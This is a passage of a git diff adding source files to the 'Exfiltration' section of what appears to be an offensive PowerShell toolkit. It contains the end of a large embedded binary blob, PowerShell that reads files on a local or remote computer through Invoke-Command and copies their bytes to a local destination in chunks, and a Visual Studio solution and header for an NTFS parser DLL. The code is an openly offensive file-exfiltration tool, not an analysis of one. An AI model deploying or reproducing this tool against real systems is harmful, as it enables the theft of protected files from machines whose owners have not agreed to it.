AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + [UInt64]$Offset = 0 + + + if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$") + { + if ($PsCmdlet.ParameterSetName -ieq "LocalDest") + { + $RemoteDestination = $LocalDestination #More efficient when using $RemoteDestination, only opens read handle once + } + + Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes32, $PEBytes64, $Path, $RemoteDestination, $BufferSize, $Offset) + } + else + { + if ($PsCmdlet.ParameterSetName -ieq "LocalDest") + { + $RemoteDestination = $null + } + + #If localdestination, loop and increment offset until the entire file is read + do + { + $Result = Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes32, $PEBytes64, $Path, $RemoteDestination, $BufferSize, $Offset) -ComputerName $ComputerName + if ($Result -eq $null) + { + return $null + } + $BytesLeft = $Result.BytesLeft + + $FileStream = New-Object System.IO.FileStream $LocalDestination,([System.IO.FileMode]::Append) + $FileStream.Seek(0, [System.IO.SeekOrigin]::End) | Out-Null + $FileStream.Write($Result.Bytes, 0, $Result.BytesRead) | Out-Null + $FileStream.Flush() | Out-Null + $FileStream.Dispose() | Out-Null + $FileStream = $null + + $Offset += $Result.BytesRead + + Write-Verbose "Copied $Offset bytes. $BytesLeft Bytes remaining" + } while ($Result.BytesLeft -gt 0) + } +} + +Main + +[GC]::Collect() +[GC]::Collect() +} \ No newline at end of file diff --git a/Exfiltration/NTFSParser/NTFSParser.sln b/Exfiltration/NTFSParser/NTFSParser.sln new file mode 100644 index 0000000..0bdac2e --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParser.sln @@ -0,0 +1,26 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2012 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "NTFSParserDLL", "NTFSParserDLL\NTFSParserDLL.vcxproj", "{5E42B778-F231-4797-B7FD-7D5BCA9738D0}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Debug|x64 = Debug|x64 + Release|Win32 = Release|Win32 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Debug|Win32.ActiveCfg = Debug|Win32 + {5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Debug|Win32.Build.0 = Debug|Win32 + {5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Debug|x64.ActiveCfg = Debug|x64 + {5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Debug|x64.Build.0 = Debug|x64 + {5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Release|Win32.ActiveCfg = Release|Win32 + {5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Release|Win32.Build.0 = Release|Win32 + {5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Release|x64.ActiveCfg = Release|x64 + {5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/Exfiltration/NTFSParser/NTFSParser/NTFS.h b/Exfiltration/NTFSParser/NTFSParser/NTFS.h new file mode 100644 index 0000000..ef6117b --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParser/NTFS.h @@ -0,0 +1,28 @@ +/* + * NTFS include files + * + * Copyright(C) 2010 cyb70289 + * 